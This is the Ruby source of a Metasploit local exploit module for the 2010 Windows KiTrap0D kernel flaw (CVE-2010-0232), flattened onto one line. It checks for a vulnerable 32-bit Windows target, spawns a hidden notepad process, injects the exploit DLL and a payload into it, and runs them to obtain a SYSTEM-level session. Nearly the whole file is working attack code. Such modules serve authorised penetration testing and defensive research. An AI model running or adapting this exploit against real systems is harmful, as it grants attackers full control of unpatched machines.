## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'msf/core/exploit/exe' require 'rex' class Metasploit3 < Msf::Exploit::Local Rank = GreatRanking include Post::File include Post::Windows::Priv def initialize(info={}) super( update_info( info, 'Name' => 'Windows SYSTEM escalation via KiTrap0D', 'Description' => %q{ This module will create a new session with SYSTEM privileges via the KiTrap0D exlpoit by Tavis Ormandy. If the session is use is already elevated then the exploit will not run. The module relies on kitrap0d.x86.dll, and is not supported on x64 editions of Windows. }, 'License' => MSF_LICENSE, 'Author' => [ 'Tavis Ormandy', # Original resesarcher and exploit creator 'HD Moore', # Port of Tavis' code to meterpreter module 'Pusscat', # Port of Tavis' code to meterpreter module 'OJ Reeves' # Port of meterpreter code to a windows local exploit ], 'Platform' => [ 'win' ], 'SessionTypes' => [ 'meterpreter' ], 'Targets' => [ [ 'Windows 2K SP4 - Windows 7 (x86)', { 'Arch' => ARCH_X86, 'Platform' => 'win' } ] ], 'DefaultTarget' => 0, 'References' => [ [ 'CVE', '2010-0232' ], [ 'OSVDB', '61854' ], [ 'MSB', 'MS10-015' ], [ 'EDB', '11199' ], [ 'URL', 'http://seclists.org/fulldisclosure/2010/Jan/341' ] ], 'DisclosureDate'=> "Jan 19 2010" )) end def check # Validate platform architecture if sysinfo["Architecture"] =~ /x64|WOW64/i return Exploit::CheckCode::Safe end # Validate OS version winver = sysinfo["OS"] unless winver =~ /Windows 2000|Windows XP|Windows Vista|Windows 2003|Windows 2008|Windows 7/ return Exploit::CheckCode::Safe end return Exploit::CheckCode::Appears end def exploit if is_system? fail_with(Exploit::Failure::None, 'Session is already elevated') end if check == Exploit::CheckCode::Safe fail_with(Exploit::Failure::NotVulnerable, "Exploit not available on this system.") end dll = '' offset = nil print_status("Launching notepad to host the exploit...") cmd = "notepad.exe" opts = {'Hidden' => true} process = client.sys.process.execute(cmd, nil, opts) pid = process.pid host_process = client.sys.process.open(pid, PROCESS_ALL_ACCESS) print_good("Process #{pid} launched.") print_status("Reflectively injecting the exploit DLL into #{pid}...") library_path = ::File.join(Msf::Config.data_directory, "exploits", "CVE-2010-0232", "kitrap0d.x86.dll") library_path = ::File.expand_path(library_path) ::File.open(library_path, 'rb') { |f| dll = f.read } pe = Rex::PeParsey::Pe.new(Rex::ImageSource::Memory.new(dll)) pe.exports.entries.each do |e| if e.name =~ /^\S*ReflectiveLoader\S*/ offset = pe.rva_to_file_offset(e.rva) break end end # Inject the exloit, but don't run it yet. exploit_mem = inject_into_pid(dll, host_process) print_status("Exploit injected. Injecting payload into #{pid}...") # Inject the payload into the process so that it's runnable by the exploit. payload_mem = inject_into_pid(payload.encoded, host_process) print_status("Payload injected. Executing exploit...") # invoke the exploit, passing in the address of the payload that # we want invoked on successful exploitation. host_process.thread.create(exploit_mem + offset, payload_mem) print_good("Exploit finished, wait for (hopefully privileged) payload execution to complete.") end protected def inject_into_pid(payload, process) payload_size = payload.length payload_size += 1024 - (payload.length % 1024) unless payload.length % 1024 == 0 payload_mem = process.memory.allocate(payload_size) process.memory.protect(payload_mem) process.memory.write(payload_mem, payload) return payload_mem end end